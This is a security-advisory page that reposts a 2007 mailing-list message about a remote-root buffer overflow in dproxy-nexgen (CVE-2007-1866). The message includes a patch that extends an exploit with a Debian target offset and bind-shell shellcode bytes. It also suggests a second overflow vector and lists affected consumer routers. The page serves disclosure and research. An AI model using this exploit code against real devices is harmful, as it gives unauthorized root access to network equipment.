|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
If you have found a vulnerability, please send to our SecurityAlert Database : secalert()securityreason()com
Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com |
|
|
Home SecurityAlert Database |
|
|
Topic : | dproxy-nexgen remote
|
SecurityAlert : 2518
CVE : CVE-2007-1866
SecurityRisk : Medium (About)
Remote Exploit : Yes
Local Exploit : Yes
Exploit Available : Yes
Credit : Alexander Klink
Published : 05.04.2007
Affected Software : | dproxy-nexgen |
 Advisory Content : Hi mu-b & all,
On Sat, Mar 31, 2007 at 01:18:00AM +0100, mu-b wrote:
><i> attached is an exploit for the latest dproxy-nexgen, seems the
</I>><i> latest version is just as bad as the previous dproxy-0.5...
</I>Good work, definitely looks like it. Here is a small patch on what
I needed to change/add to make it work on my Debian stable test image:
--- dproxy-v1.c.orig 2007-03-31 11:12:39.000000000 +0200
+++ dproxy-v1.c 2007-03-31 11:10:41.000000000 +0200
@@ -41,7 +41,7 @@
"x0bx52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x52x53"
"x89xe1xcdx80";
-#define NUM_TARGETS 1
+#define NUM_TARGETS 2
struct target_t
{
@@ -58,6 +58,9 @@
{"dproxy-nexgen (tar.gz)",
512, 25, bndshell_lnx, 284, 0x08048cf9}
,
+ {"dproxy-nexgen (tar.gz, Debian stable)",
+ 512, 25, bndshell_lnx, 281, 0x08048cf8}
+ ,
{0}
};
With that patch it works just fine and is indeed the missing link to say
that dproxy is remote-root exploitable in all versions.
The case with dproxy-nexgen is much worse than with dproxy 0.1-0.5,
though,
as it is used in a number of WLAN APs, at least the following:
- Linksys WRT54AG [0]
- Linksys WRT54G with the BatBox firmware replacement [0]
- Asus WL500g [1]
- Netgear DG834G [2]
- FRITZ!Box WLAN 7170 (and possibly others) [3]
><i> problem exists because of lack of NULL checking in
dns_decode_reverse_name...
</I>I was roughly expecting something like this, but did not have enough
time
to look into it deeper. dns_decode_name looks vulnerable to me, too,
as name is 255 bytes and buf is a max of 512. So asking for the DNS
name 255xA.255x[overflow] should be another option. I guess we can
conclude that dproxy is quite broken (from what I read on the web,
not only security-wise) and should be replaced.
Best regards,
Alex
[0]: http://dproxy.sf.net
[1]: http://wl500g.info/showthread.php/?p=7945
[2]: http://www.galliford.org/dg834g/
[3]: http://www.ip-phone-forum.de/showthread.php?t=78556&page=2 (german)
--
Dipl.-Math. Alexander Klink | IT-Security Engineer | a.klink at
cynops.de
mobile: +49 (0)178 2121703 | Cynops GmbH | http://www.cynops.de
----------------------------+----------------------+---------------------
HRB 7833, Amtsgericht | USt-Id: DE 213094986 |
Geschäftsführer:
Bad Homburg v. d. Höhe | | Martin
Bartosch
Feedback :
If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
|
|
|
|